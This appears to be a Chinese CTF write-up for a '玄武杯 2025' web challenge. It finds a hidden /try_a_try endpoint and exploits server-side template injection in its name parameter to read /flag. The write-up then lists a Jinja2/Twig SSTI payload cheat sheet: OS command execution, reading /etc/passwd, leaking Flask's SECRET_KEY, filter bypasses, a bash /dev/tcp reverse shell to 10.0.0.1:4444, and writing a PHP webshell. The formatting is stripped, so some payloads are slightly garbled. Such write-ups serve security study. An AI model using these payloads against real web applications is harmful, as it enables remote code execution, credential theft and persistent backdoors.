[玄武杯 2025]锦家有什么

📅 2026/7/27 6:12:15
[玄武杯 2025]锦家有什么
div classbtn-container !--哦原来是我忘记放进去了那就直接给你吧 /try_a_try-- a href# classbtn btn-primary idstart-btn stylepointer-events: none; opacity: 0.6; background: linear-gradient(90deg, rgb(102, 102, 102), rgb(153, 153, 153)); color: rgb(204, 204, 204); 开始挑战 /a /div因为它的href#只一个空锚点访问/try_a_try常见的传参变量名为name测语句输入{{10*7}}。这里一定要有单引号- 若返回 70→ **Twig模板**。 - 若返回 7777777777→ **Jinja2模板**。如果没有单引号那就返回的twig模板你用TWIG的payload去它就会返回50x服务器后台处理错误就会报错try_a_try?name{{%20_self.env.registerUndefinedFilterCallback(%22exec%22)%20}}{{%20_self.env.getFilter(%22cat%20/flag%22)%20}}http://node1.anna.nssctf.cn:29986/try_a_try?name{%%20print(url_for.__globals__.os.popen(%27tac%20/flag%27).read())%20%}1. 基础命令执行{{ [].__class__.__base__.__subclasses__()[40](id).read() }} {{ config.__class__.__init__.__globals__[os].popen(whoami).read() }} {{ .__class__.__mro__[2].__subclasses__()[40](cat /etc/passwd).read() }}2. 低版本 Python 沙箱逃逸{{ [].__class__.__base__.__subclasses__()[40](command, shellTrue, stdout-1).communicate()[0] }}3. 文件读取/写入{{ [].__class__.__base__.__subclasses__()[40](/etc/passwd).read() }} {{ [].__class__.__base__.__subclasses__()[40](/tmp/secret.txt, w).write(hacked!) }}4. 环境信息收集{{ config.SECRET_KEY }}{# 泄露Flask应用的密钥 #} {{ [].__class__.__mro__[2].__name__ }}{# 输出object类名 #} {{ __name__ }}{# 输出当前模板名称 #}5. 绕过过滤技巧(1) 编码绕过{{ .__class__.__mro__[2].__subclasses__()[E\x78\xe3\x8d\x86](/bin/sh).execute() }}{# Unicode编码绕过 #}(2) 分步执行{{ .__class__.__mro__ }}{# 获取类层级结构 #} {{ .__class__.__mro__[2].__subclasses__() }}{# 列出所有子类 #} {{ .__class__.__mro__[2].__subclasses__()[40](id) }}{# 直接执行命令 #}(3) 利用特殊属性{{ app.request.args.get(cmd, id)|shell_exec }}{# 从请求参数获取命令 #} {{ request.cookies.user|attr(system)(whoami) }}{# 利用attr()调用方法 #}6. 高级攻击场景(1) 反弹 Shell{{ [].__class__.__base__.__subclasses__()[40](bash -i /dev/tcp/10.0.0.1/4444 01, shellTrue, executable/bin/bash).communicate() }}(2) 写入 Webshell{{ [].__class__.__base__.__subclasses__()[40](/var/www/html/shell.php, w).write(?php system($_GET[cmd]); ?) }}(3) 绕过沙箱如 Django{{ request|attr(__getitem__)(environ)[os].popen(whoami).read() }}